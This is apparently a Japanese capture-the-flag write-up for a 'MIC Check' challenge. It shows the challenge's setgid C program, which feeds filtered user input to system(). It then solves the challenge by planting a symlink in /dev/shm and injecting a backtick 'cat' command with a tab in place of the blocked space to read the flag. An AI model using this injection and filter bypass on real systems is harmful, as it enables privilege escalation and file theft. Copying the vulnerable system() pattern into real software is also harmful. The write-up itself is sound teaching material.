MIC Check

Who's in here?

ssh mic@175.119.158.131 -p11133
pw : miccheck
指定されたIPアドレス、ポートにsshで接続します。lsコマンドでファイル一覧を確認します。mic.flag.txtにフラグが書かれていると思われますが、所有者が異なるためそのままでは閲覧できません。
mic@ubuntu:~$ ls -al
total 44
drwxr-x--- 3 root mic      4096 Mar 13 09:51 .
drwxr-xr-x 6 root root     4096 Mar 13 01:32 ..
drwxr-xr-x 2 root root     4096 Mar 13 01:49 .bash_history
-rw-r--r-- 1 root root      220 Mar 13 01:07 .bash_logout
-rw-r--r-- 1 root root     3771 Mar 13 01:07 .bashrc
-rwxr-sr-x 1 root miccheck 8992 Mar 13 02:04 miccheck
-rw-r--r-- 1 root root      698 Mar 13 02:04 miccheck.c
-r--r----- 1 root miccheck   23 Mar 13 01:28 mic.flag.txt
-rw-r--r-- 1 root root      675 Mar 13 01:07 .profile
miccheck.cを確認します。
mic@ubuntu:~$ cat miccheck.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

int main( int argc, char *argv[], char **environ )
{
        char buf[12] = { 0, };
        char cmd[2048] = { 0, };
        unsigned int i = 0;

        char **e;
        size_t len;

        printf( "input path :" );
        fgets( buf, 10, stdin );

        for( i = 0; i <= 11; i++ ) {
                if( buf[i] == '\'' ) exit(0);
                if( buf[i] == '&' ) exit(0);
                if( buf[i] == ';' ) exit(0);
                if( buf[i] == '|' ) exit(0);
                if( buf[i] == '\"' ) exit(0);
                if( buf[i] == ' ' ) exit(0);
        }


        sprintf( cmd, "/bin/ls -al /dev/%s", buf );

        for( e = environ; *e; ++e ) {
                len = strlen( *e );
                memset( *e, 0x00, len );
        }

        setregid( 1003, 1003 );
        system( cmd );

        return 0;
}
同じディレクトリにあるmiccheckを実行して、コマンドインジェクションによりflagファイルの内容を表示させれば良いと思われます。ただし、10文字までしか入力できませんので、文字数を省略するために、まず、書き込み権限のあるフォルダを探して1文字のファイル名でシンボリックリンクを作成します。下記では、/dev/shmフォルダにfという名前でシンボリックリンクを作成しています。
mic@ubuntu:/dev/shm$ ln -s /home/mic/mic.flag.txt f
mic@ubuntu:/dev/shm$ ls -al
total 0
drwxrwxrwt  2 root root   60 Mar 14 01:14 .
drwxr-xr-x 19 root root 4320 Mar 14 01:03 ..
lrwxrwxrwx  1 mic  mic    22 Mar 14 01:14 f -> /home/mic/mic.flag.txt
半角スペースが使えませんので代わりにタブを使い、バッククォートでコマンドを実行させます。
mic@ubuntu:/dev/shm$ /home/mic/miccheck
input path :a`cat       f`
/bin/ls: cannot access /dev/alet: No such file or directory
/bin/ls: cannot access the: No such file or directory
/bin/ls: cannot access hacking: No such file or directory
/bin/ls: cannot access begins: No such file or directory
赤文字の部分が「cat f」コマンドの結果ですので、それをつなげて、フラグは、
let the hacking begins
になります。